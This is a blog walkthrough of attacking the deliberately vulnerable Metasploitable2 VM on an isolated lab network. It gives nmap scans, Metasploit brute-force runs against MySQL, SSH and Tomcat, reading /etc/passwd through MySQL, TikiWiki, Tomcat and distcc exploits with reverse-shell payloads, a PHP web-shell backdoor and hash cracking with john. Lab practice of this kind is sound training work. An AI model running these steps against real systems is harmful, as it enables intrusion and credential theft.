Note: this post will be updated when I have more time This never happened! and the Metasploitable2 walk-through is also available at http://nkush.blogspot.com.au/2015/02/metasploitable2-walk-through.html.
I am sure there are plenty of metasploitable walkthroughs available, but I thought I'd chuck one up here anyway... Firstly download and unzip the metasploitable VMware image. I use virtual-box, and it works just as well. I ran my metasploitable image and BackTrack in host-only mode, so I had an isolated network to play in without damaging anything else.
For some of the brute force attacks you will need a wordlist of potential usernames and passwords. There are several free wordlists available. Kevin's Wordlist Page
[2] is quite good. The generated wordlist should be sufficient for most attacks save for ones with rigorous password complexities enforced.
Note: Since this is just a demonstration/walk through, the attempts herein to circumvent the security of the host have not been throttled down to prevent detection, in fact the scans, and exploits run may be considered extremely noisy.
Discovery
- Find the IP address of the metasploitable host
- nmap -sn -n -T1 192.168.56.0/24
- In this case the host IP was 192.168.56.101
- Scan the metasploitable host to find the OS and services running on it
- nmap -n -v -A -O -T1 -sS -sV 192.168.56.101
- The following services were identified; 21 running ProFTPD 1.3.1, 22 running OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0), 23 running Linux telnetd, 25 running Postfix smtpd, 53 running ISC BIND 9.4.2, 80 running Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch), 139 running Samba smbd 3.X (workgroup: WORKGROUP), 445 running Samba smbd 3.X (workgroup: WORKGROUP), 3306 running MySQL 5.0.51a-3ubuntu5, 5432 running PostgreSQL DB 8.3.0 - 8.3.7, 8009 running Apache Jserv (Protocol v1.3), 8180 running Apache Tomcat/Coyote JSP engine 1.1 on Host: metasploitable.localdomain; OSs: Unix, Linux
- Search the exploit DB to see if any exploits exist, and run the metasploit exploit. I have discussed these in detail below. In a majority of cases the exploits already exist in metasploit and is just a matter of selecting the correct one and specifying the correct options and parameters to them.
MySQL
- The version accoring to the nmap scan was MySQL 5.0.51a-3ubuntu5
- http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=mysql
- Brute force the login
- search mysql
- use auxiliary/scanner/mysql/mysql_login
- show options
- set THREADS 1000 # adding the brute in brute force
- set RHOST 192.168.56.101
- set USERPASS_FILE /opt/msf3/demo-wordlist.txt
- set STOP_ON_SUCCESS true
- run
- [+] 192.168.56.101:3306 - SUCCESSFUL LOGIN 'root' : 'root'
- Install a mysql client locally and use the credentials to connect to the remote server and get a dump of the DB or run SQL queries, or another scanner to get the contents of /etc/passwd file to identify accounts that have shell access
- back
- use auxiliary/admin/mysql/mysql_sql
- show options
- set USERNAME root
- set PASSWORD root
- set RHOST 192.168.56.101
- set SQL select load_file(\'/etc/passwd\')
- run
- You should now have the contents of the /etc/password file
TikiWiki
Using the credentials found using the brute force method above, we can connect using the mysql client, e.g. mysql -u root -p -h 192.168.56.101
- Check the databases installed
- Returns the names of the databases, information_schema, mysql, tikiwiki, and tikiwiki195. Guessing from the name, it appears to be a database for a wiki application. A quick google search (http://info.tiki.org/Tiki+Wiki+CMS+Groupware) confirms this. This too is vulnerable and metasploit exploits exist.
- back
- use exploit/unix/webapp/tikiwiki_graph_formula_exec
- show options
- set RHOST 192.168.56.101
- set PAYLOAD php/meterpreter/reverse_tcp
- set LHOST 192.168.56.1
- exploit
- This returns the username and password used with the wiki CMS and the meterpreter interface. The meterpreter console is very powerful and extremely useful in futher analysis of the host. We may come back to the meterpreter console.
- The good thing about wiki's and CMS's in general is the ability to load files onto the server. Unfortunately there are two tikiwiki databases in use. Fortunately both have the same details in their users_users table, i.e. username and password of admin and admin respectively.
- There is a requirement for uploading files to the compromised machine for easier access later, i.e. a back door, refer below [3-4]. We can test the upload of a backup by creating a simple file e.g. phpinfo.php with phpinfo(); in it, and then uploading it via the backup upload and then navigating to "http://192.168.56.101/tikiwiki/backups/phpinfo.php". If you see the PHP info page, then the uploads work great and backup PHP files are interpreted by the server.
- Now download a PHP shell and upload it for a shell backdoor. Here's a list of potential PHP shells;
Mysql Users
- Again using the MySQL credentials, we can query the user table in the mysql database using the mysql client.
- mysql -u root -proot -h 192.168.56.101
- use mysql
- SELECT host, user, password FROM user;
- We are presented with additional users debian-sys-maint and the 41-byte hash values (*E07F0A7CCC0044345116513C989F45663C1F8347) of their password.
- I tried running john the ripper on this to see if I could crack the password, it was taking too long so I gave up. However you may have better luck, esp. with rainbow tables, etc.
- The username and password hash were saved in a file e.g. mysql.txt in the following format; username:password, i.e. debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347
- john --format=mysql-sha1 mysql.txt
- We could have also copied the hash from the root account to the other accounts as we already know the root password, but the idea is to remain undetected
Apache
Port 80 has a web server running, we can connect using a browser to confirm and get a "It works!" page. To confirm the structure of the web directories we can use a fuzzer such as OWASP's DirBuster.
- The initial scans should confirm the tikiwiki CMS in it's structure.
SSH
Based on the contents of the /etc/password file, we can not tweak our usernames file before trying to brute force an SSH connection.
- Brute force the SSH connection, inline other attempts we don't want to stop at the first one, but get all SSH login details, Note: for this walkthrough example below, I have just used the same file, but you should specify a different user file based on the content of /etc/passwd and password file to speed things up
- back
- use auxiliary/scanner/ssh/ssh_login
- show options
- set RHOSTS 192.168.56.101
- set THREADS 1000
- set USERPASS_FILE /opt/msf3/demo-wordlist.txt
- set STOP_ON_SUCCESS false
- run
- [+] 192.168.56.101:22 SSH - [23/30] - Success: 'user':'user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
- [+] 192.168.56.101:22 SSH - [28/30] - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
- [+] 192.168.56.101:22 SSH - [29/30] - Success: 'service':'service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
- [+] 192.168.56.101:22 SSH - [30/30] - Success: 'postgres':'postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
- Now we have shell access based on a number of logins
Tomcat
- Brute force the management login
- back
- use auxiliary/scanner/http/tomcat_mgr_login
- show options
- set RHOSTS 192.168.56.101
- set RPORT 8180
- exploit
- [+] http://192.168.56.101:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
- Get shell, by exploit the host, using the weak scanned password to deploy a payload
- back
- use exploit/multi/http/tomcat_mgr_deploy
- show options
- set USERNAME tomcat
- set PASSWORD tomcat
- set RPORT 8180
- set PAYLOAD linux/x86/shell_reverse_tcp
- set STOP_ON_SUCCESS true
- exploit
- Should have shell now!
DistCC
This was discovered on a subsequent port scan using different paramters. Am not quote sure what it is, but there is an exploit in metasploit, and Wikipedia documentation indicated it's some sort of distributed compile for C and C++.
- The number of payloads are limited for this exploit, but still allow remote shell access
- back
- search distcc
- use exploit/unix/misc/distcc_exec
- show options
- set RHOST 192.168.56.101
- set PAYLOAD cmd/unix/reverse
- set LHOST 192.168.56.1
- exploit
Files
Here's a list of interesting files I found on the system, I hope to add more detailed descriptions and discuss their contents once I have the opportunity to investigate further.
- /root/reset_logs.sh
Requirements:
- Metasploit (I used Backtrack5)
- nmap
- Metasploitable
References:
- http://www.exploit-db.com
- http://wordlist.sourceforge.net/
- http://www.gnucitizen.org/blog/reverse-shell-with-bash/
- http://www.plenz.com/reverseshell
